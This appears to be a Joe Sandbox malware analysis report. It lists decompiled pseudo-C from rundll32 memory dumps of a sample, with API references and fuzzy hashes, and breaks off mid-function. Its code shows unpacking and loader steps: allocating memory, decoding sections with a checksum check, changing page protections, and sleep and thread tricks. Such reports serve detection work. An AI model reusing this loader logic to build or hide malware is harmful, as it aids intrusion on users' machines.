Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: b1e4a0fbd9833a49ae2dd6716a4ec03101039e84f601139ccd68045173805cbd
Instruction ID: 2818aa93240bb63df3973f3e6d266b8880d42e11c849f3bb45cb3de012850c8d
Opcode Fuzzy Hash: b1e4a0fbd9833a49ae2dd6716a4ec03101039e84f601139ccd68045173805cbd
Instruction Fuzzy Hash: 4A313C72900249EFCB11CF98D8859EE7BB9FF48700B20842EFA46D7650D7B59A81CF61

Uniqueness

Uniqueness Score: -1.00%

Function 010F4B89 Relevance: 6.0, APIs: 4, Instructions: 44
sleepthreadtimeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E010F4B89(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t23 = _v12.dwHighDateTime;
					_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t23 >> 5);
					_push(_t16);
					L010F83A6();
					_t34 = _t16 + _t13;
					_t18 = E010F5D2E(_a4, _t34);
					_t30 = _t18;
					_t19 = 3;
					Sleep(_t19 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}

0x010f4b8e
0x010f4b99
0x010f4b9a
0x010f4b9a
0x010f4ba6
0x010f4baf
0x010f4bb2
0x010f4bb6
0x010f4bb8
0x010f4bbd
0x010f4bbe
0x010f4bbf
0x010f4bc9
0x010f4bcc
0x010f4bd3
0x010f4bd7
0x010f4bde
0x010f4be4
0x010f4bee

APIs

SwitchToThread.KERNEL32(?,00000001,?,?,?,010F1D14,?,?), ref: 010F4B9A
GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,010F1D14,?,?), ref: 010F4BA6
_aullrem.NTDLL(00000000,?,00000013,00000000), ref: 010F4BBF

Part of subcall function 010F5D2E: memcpy.NTDLL(00000000,00000000,?,?,00000000,?,?,?,00000000), ref: 010F5D8D

Sleep.KERNEL32(00000003,00000000,?,00000001,?,?,?,010F1D14,?,?), ref: 010F4BDE

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
String ID:
API String ID: 1610602887-0
Opcode ID: e379aa2798b9e82910f141931d996450b727a142bc1d85966c372a3e1aab290b
Instruction ID: 9bde47188d52b4b652e123f9a3cdb2d072bed62d308b3bfba80384fc7defd065
Opcode Fuzzy Hash: e379aa2798b9e82910f141931d996450b727a142bc1d85966c372a3e1aab290b
Instruction Fuzzy Hash: 33F0AF77A002087BD7249BA8CC1EFDF76B9DB84355F000128F702E7640E6B89A008BA4

Uniqueness

Uniqueness Score: -1.00%

Function 008F1B7F Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E008F1B7F(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E008F1308(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x008f1b88
0x008f1b8d
0x008f1b9b
0x008f1ba0
0x008f1ba0
0x008f1ba6
0x008f1bab
0x008f1baf
0x008f1bb3
0x008f1bb3
0x008f1bbd
0x008f1bc6

APIs

GetCurrentThread.KERNEL32 ref: 008F1B82
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 008F1B8D
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 008F1BA0
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 008F1BB3

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: 8440837a4cae5559c7acb3c9df44e244cc8784c48387228fb023739bb51ad859
Instruction ID: 953d85e535439555f6fec6d2d0b2722a882b99d8a4022634a02e5fed23a37fbb
Opcode Fuzzy Hash: 8440837a4cae5559c7acb3c9df44e244cc8784c48387228fb023739bb51ad859
Instruction Fuzzy Hash: 70E06D31306615ABDA122B3A5C88D7B6A9CFF923317010226FA20D22E0DF548D0589A6

Uniqueness

Uniqueness Score: -1.00%

Function 010F765B Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E010F765B(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				void* _t9;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x10fa3cc; // 0x51a95b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x10fa3cc; // 0x51a95b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x10fa030) {
					HeapFree( *0x10fa2d8, 0, _t8);
				}
				_t9 = E010F6E6D(_v0, _t13); // executed
				_t13[1] = _t9;
				_t10 =  *0x10fa3cc; // 0x51a95b0
				_t11 = _t10 + 0x40;
				__imp__(_t11);
				return _t11;
			}

0x010f765b
0x010f765b
0x010f7664
0x010f7674
0x010f7674
0x010f7679
0x010f767e
0x00000000
0x00000000
0x010f766e
0x010f766e
0x010f7680
0x010f7684
0x010f7696
0x010f7696
0x010f76a1
0x010f76a6
0x010f76a9
0x010f76ae
0x010f76b2
0x010f76b8

APIs

RtlEnterCriticalSection.NTDLL(051A9570), ref: 010F7664
Sleep.KERNEL32(0000000A), ref: 010F766E
HeapFree.KERNEL32(00000000,00000000), ref: 010F7696
RtlLeaveCriticalSection.NTDLL(051A9570), ref: 010F76B2

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: b31364628bc3d4e00e8b163d28c7f38ff52be649697b0be1c7c806381f305cf2
Instruction ID: ec683e142f9fdb57d717b4b3cf2279371c29bd1a0de13ae35be8ce02c058a4d8
Opcode Fuzzy Hash: b31364628bc3d4e00e8b163d28c7f38ff52be649697b0be1c7c806381f305cf2
Instruction Fuzzy Hash: D6F0B271300241DFE7249B68DC4AF1A3BF4AB54744B04845CB6C9D7A65C62AE840CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 008F197C Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E008F197C(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				unsigned int _v16;
				intOrPtr _v20;
				char _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _t46;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t58;
				signed int _t67;
				intOrPtr _t69;
				intOrPtr _t85;
				intOrPtr _t86;

				_t85 =  *0x8f41b0;
				_t46 = E008F1922(_t85,  &_v24,  &_v16);
				_v20 = _t46;
				if(_t46 == 0) {
					asm("sbb ebx, ebx");
					_t67 =  ~( ~(_v16 & 0x00000fff)) + (_v16 >> 0xc);
					_t86 = _t85 + _v24;
					_v40 = _t86;
					_t53 = VirtualAlloc(0, _t67 << 0xc, 0x3000, 4); // executed
					_v28 = _t53;
					if(_t53 == 0) {
						_v20 = 8;
					} else {
						_v8 = _v8 & 0x00000000;
						if(_t67 <= 0) {
							_t54 =  *0x8f41c0;
						} else {
							_t69 = _a4;
							_t58 = _t53 - _t86;
							_t13 = _t69 + 0x8f51a7; // 0x8f51a7
							_v32 = _t58;
							_v36 = _t58 + _t13;
							_v12 = _t86;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								E008F1FD8(_v12 + _t58, _v12, _v52 - _v8 + _v48 + _v24 + _a4 - 1, 0x400);
								_v12 = _v12 + 0x1000;
								_t54 =  *((intOrPtr*)(_v36 + 0xc)) -  *((intOrPtr*)(_v36 + 8)) +  *((intOrPtr*)(_v36 + 4));
								_v8 = _v8 + 1;
								 *0x8f41c0 = _t54;
								if(_v8 >= _t67) {
									break;
								}
								_t58 = _v32;
							}
						}
						if(_t54 != 0x69b25f44) {
							_v20 = 9;
						} else {
							E008F212B(_v16, _v28, _v40);
						}
						VirtualFree(_v28, 0, 0x8000); // executed
					}
				}
				return _v20;
			}

0x008f1983
0x008f1993
0x008f1998
0x008f199d
0x008f19b2
0x008f19b9
0x008f19be
0x008f19cf
0x008f19d2
0x008f19d8
0x008f19dd
0x008f1a8d
0x008f19e3
0x008f19e3
0x008f19e9
0x008f1a58
0x008f19eb
0x008f19eb
0x008f19ee
0x008f19f0
0x008f19f8
0x008f19fb
0x008f19fe
0x008f1a06
0x008f1a11
0x008f1a12
0x008f1a13
0x008f1a30
0x008f1a3e
0x008f1a45
0x008f1a48
0x008f1a4b
0x008f1a53
0x00000000
0x00000000
0x008f1a03
0x008f1a03
0x008f1a55
0x008f1a62
0x008f1a74
0x008f1a64
0x008f1a6d
0x008f1a6d
0x008f1a85
0x008f1a85
0x008f1a94
0x008f1a9a

APIs

VirtualAlloc.KERNELBASE(00000000,761B63F0,00003000,00000004,00000030,00000000,761B63F0,00000000,?,?,?,?,?,?,008F137D,00000000), ref: 008F19D2
VirtualFree.KERNELBASE(008F137D,00000000,00008000,?,?,?,?,?,?,008F137D,00000000), ref: 008F1A85

Strings

Apr 26 2022, xrefs: 008F1A09

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: Apr 26 2022
API String ID: 2087232378-3671839962
Opcode ID: e3cbd7553f378f3d08565ac64f6adf6a224bba0ba45754dac7d475da9c1f8f7b
Instruction ID: 686b05c57f009d3bc7c607e097aee461afc8637682814c87811aeb82a8e70a49
Opcode Fuzzy Hash: e3cbd7553f378f3d08565ac64f6adf6a224bba0ba45754dac7d475da9c1f8f7b
Instruction Fuzzy Hash: 9B310875A0061EEBDF00DFA8D885ABEB7B4FB14304F104169EA15FB281D771AA45CB94

Uniqueness

Uniqueness Score: -1.00%

Function 010F216C Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F216C(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E010F3695(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x10fa348; // 0x40ad5a8
				_t4 = _t24 + 0x10fbe58; // 0x51a9400
				_t5 = _t24 + 0x10fbe00; // 0x4f0053
				_t26 = E010F155C( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x10fa348; // 0x40ad5a8
						_t11 = _t32 + 0x10fbe4c; // 0x51a93f4
						_t48 = _t11;
						_t12 = _t32 + 0x10fbe00; // 0x4f0053
						_t52 = E010F28C4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x10fa348; // 0x40ad5a8
							_t13 = _t35 + 0x10fba51; // 0x30314549
							if(E010F41FA(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0x10fa2fc - 6;
								if( *0x10fa2fc <= 6) {
									_t42 =  *0x10fa348; // 0x40ad5a8
									_t15 = _t42 + 0x10fbde2; // 0x52384549
									E010F41FA(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x10fa348; // 0x40ad5a8
							_t17 = _t38 + 0x10fbe90; // 0x51a9438
							_t18 = _t38 + 0x10fbe68; // 0x680043
							_t45 = E010F74B6(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0x10fa2d8, 0, _t52);
						}
					}
					HeapFree( *0x10fa2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E010F3AC2(_t54);
				}
				return _t45;
			}

0x010f216c
0x010f217c
0x010f217f
0x010f2186
0x010f2188
0x010f2188
0x010f218b
0x010f2190
0x010f2197
0x010f21a4
0x010f21a9
0x010f21ad
0x010f21bb
0x010f21c9
0x010f21cd
0x010f225e
0x010f225e
0x010f21d3
0x010f21d3
0x010f21d8
0x010f21d8
0x010f21df
0x010f21eb
0x010f21ed
0x010f21ef
0x010f21f1
0x010f21f8
0x010f220a
0x010f220c
0x010f2213
0x010f2215
0x010f221c
0x010f2227
0x010f2227
0x010f2213
0x010f222c
0x010f2231
0x010f2238
0x010f2256
0x010f2258
0x010f2258
0x010f21ef
0x010f226a
0x010f226a
0x010f226c
0x010f2271
0x010f2273
0x010f2273
0x010f227e

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,051A9400,00000000,?,7620F710,00000000,7620F730), ref: 010F21BB
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,051A9438,?,00000000,30314549,00000014,004F0053,051A93F4), ref: 010F2258
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,010F66BE), ref: 010F226A

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 2f7d78975b57c1e276aafc52e60598c67f69d26f36820e60710e82c77115e08b
Instruction ID: 5ee2dabbcf2d9805054ecd3b1d3b47d3661a5d397346c866be4952795d361d52
Opcode Fuzzy Hash: 2f7d78975b57c1e276aafc52e60598c67f69d26f36820e60710e82c77115e08b
Instruction Fuzzy Hash: 4D31A436A00119FFDB21DF98DC4AEDA3BBDEB48700F04406DB784D7955D6B1AA48DB50

Uniqueness

Uniqueness Score: -1.00%

Function 008F1A9D Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E008F1A9D(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x8f41c0;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x69b25f40,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x69b25f40;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x7c211d88 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x69b25f42;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x69b25f24;
					} else {
						_t54 = _t57 - 0x69b25f04;
					}
					goto L9;
				}
				goto L12;
			}

0x008f1aa7
0x008f1ab4
0x008f1aba
0x008f1ac6
0x008f1ad6
0x008f1ad8
0x008f1ae0
0x008f1b75
0x008f1b7c
0x00000000
0x00000000
0x00000000
0x008f1ae6
0x008f1ae6
0x008f1ae6
0x008f1aea
0x00000000
0x00000000
0x008f1af6
0x008f1afa
0x008f1b1e
0x008f1b22
0x008f1b36
0x008f1b36
0x008f1b3c
0x008f1b4b
0x008f1b4f
0x008f1b57
0x008f1b57
0x008f1b5f
0x008f1b62
0x008f1b6f
0x00000000
0x00000000
0x00000000
0x00000000
0x008f1b6f
0x008f1b2a
0x008f1b2e
0x008f1b34
0x00000000
0x00000000
0x00000000
0x008f1b34
0x008f1b02
0x008f1b06
0x008f1b10
0x008f1b08
0x008f1b08
0x008f1b08
0x00000000
0x008f1b06
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?), ref: 008F1AD6
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 008F1B4B
GetLastError.KERNEL32 ref: 008F1B51

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 021b574ab55ce63fec2ba445f10fc56a4c06e7648841b002ed40dbf1a3572567
Instruction ID: 194c74c7a94fa54f561569a5155294b66ffe1ee8aae2bdfd979f3128d8d905b7
Opcode Fuzzy Hash: 021b574ab55ce63fec2ba445f10fc56a4c06e7648841b002ed40dbf1a3572567
Instruction Fuzzy Hash: 7921287190020EEFCF14CBA5C889ABAF7B4FB58355F01449AD206D7019E7B4AA64CB98

Uniqueness

Uniqueness Score: -1.00%

Function 010F6E6D Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E010F6E6D(char* _a4, char** _a8) {
				char* _t7;
				char* _t11;
				char* _t14;
				char* _t16;
				char* _t17;
				char _t18;
				signed int _t20;
				signed int _t22;

				_t16 = _a4;
				_push(0x20);
				_t20 = 1;
				_push(_t16);
				while(1) {
					_t7 = StrChrA();
					if(_t7 == 0) {
						break;
					}
					_t20 = _t20 + 1;
					_push(0x20);
					_push( &(_t7[1]));
				}
				_t11 = E010F6D63(_t20 << 2);
				_a4 = _t11;
				if(_t11 != 0) {
					StrTrimA(_t16, 0x10f9284); // executed
					_t22 = 0;
					do {
						_t14 = StrChrA(_t16, 0x20);
						if(_t14 != 0) {
							 *_t14 = 0;
							do {
								_t14 =  &(_t14[1]);
								_t18 =  *_t14;
							} while (_t18 == 0x20 || _t18 == 9);
						}
						_t17 = _a4;
						 *(_t17 + _t22 * 4) = _t16;
						_t22 = _t22 + 1;
						_t16 = _t14;
					} while (_t14 != 0);
					 *_a8 = _t17;
				}
				return 0;
			}

0x010f6e71
0x010f6e7e
0x010f6e80
0x010f6e81
0x010f6e89
0x010f6e89
0x010f6e8d
0x00000000
0x00000000
0x010f6e84
0x010f6e85
0x010f6e88
0x010f6e88
0x010f6e95
0x010f6e9a
0x010f6e9f
0x010f6ea7
0x010f6ead
0x010f6eaf
0x010f6eb2
0x010f6eb6
0x010f6eb8
0x010f6ebb
0x010f6ebb
0x010f6ebc
0x010f6ebe
0x010f6ebb
0x010f6ec8
0x010f6ecb
0x010f6ece
0x010f6ecf
0x010f6ed1
0x010f6ed8
0x010f6ed8
0x010f6ee4

APIs

StrChrA.SHLWAPI(?,00000020,00000000,051A95AC,?,?,010F76A6,?,051A95AC), ref: 010F6E89
StrTrimA.SHLWAPI(?,010F9284,00000002,?,010F76A6,?,051A95AC), ref: 010F6EA7
StrChrA.SHLWAPI(?,00000020,?,010F76A6,?,051A95AC), ref: 010F6EB2

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 92706ee62990790808d8e8de347295aa1279ff2593c73154b8c8e3b30f2146bb
Instruction ID: 26334c7279258de27ff85ecca66f6664aaf17324dca971d2b707d31b7cbda0b0
Opcode Fuzzy Hash: 92706ee62990790808d8e8de347295aa1279ff2593c73154b8c8e3b30f2146bb
Instruction Fuzzy Hash: ED019E72300356AEE7605E2ACC46B677EDDEBC5740F040059ABC5CB682DA72D8428760

Uniqueness

Uniqueness Score: -1.00%

Function 010F46CB Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E010F46CB(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E010F74FE(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x10fa348; // 0x40ad5a8
						_t20 = _t68 + 0x10fb1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E010F65D1(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x010f46d1
0x010f46d4
0x010f46e4
0x010f46ed
0x010f46f1
0x010f47bf
0x010f47c5
0x010f47c5
0x010f470b
0x010f4710
0x010f4714
0x010f471a
0x010f471f
0x010f4726
0x010f4735
0x010f4735
0x010f4739
0x010f473b
0x010f4747
0x010f4752
0x010f475d
0x010f4761
0x010f476b
0x010f476f
0x010f4771
0x010f4776
0x010f477d
0x010f478d
0x010f478d
0x010f4776
0x010f476f
0x010f478f
0x010f4794
0x010f4799
0x010f4799
0x010f479c
0x010f47a5
0x010f47aa
0x010f47aa
0x010f47af
0x010f47b4
0x010f47b4
0x010f47af
0x010f4739
0x010f47b6
0x010f47bc
0x00000000

APIs

Part of subcall function 010F74FE: SysAllocString.OLEAUT32(80000002), ref: 010F755B
Part of subcall function 010F74FE: SysFreeString.OLEAUT32(00000000), ref: 010F75C1

SysFreeString.OLEAUT32(?), ref: 010F47AA
SysFreeString.OLEAUT32(010F3520), ref: 010F47B4

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: f872ea9914145daaf6e88bc9642952248b62c888fe014c26a302e0554fd2cb0b
Instruction ID: 354ea7b559c1d2e21bf9b347de6e952efa50643aa077acaddba10973e60e2d57
Opcode Fuzzy Hash: f872ea9914145daaf6e88bc9642952248b62c888fe014c26a302e0554fd2cb0b
Instruction Fuzzy Hash: AF317C35500259AFCB21DF98C889CEBBBB9FBCA7407204698FE45DB610E631DD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 008F1BC9 Relevance: 3.1, APIs: 2, Instructions: 60
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008F1BC9() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x8f41c4;
				if( *0x8f41ac > 5) {
					_t16 = _t15 + 0x8f50f9;
				} else {
					_t16 = _t15 + 0x8f50b1;
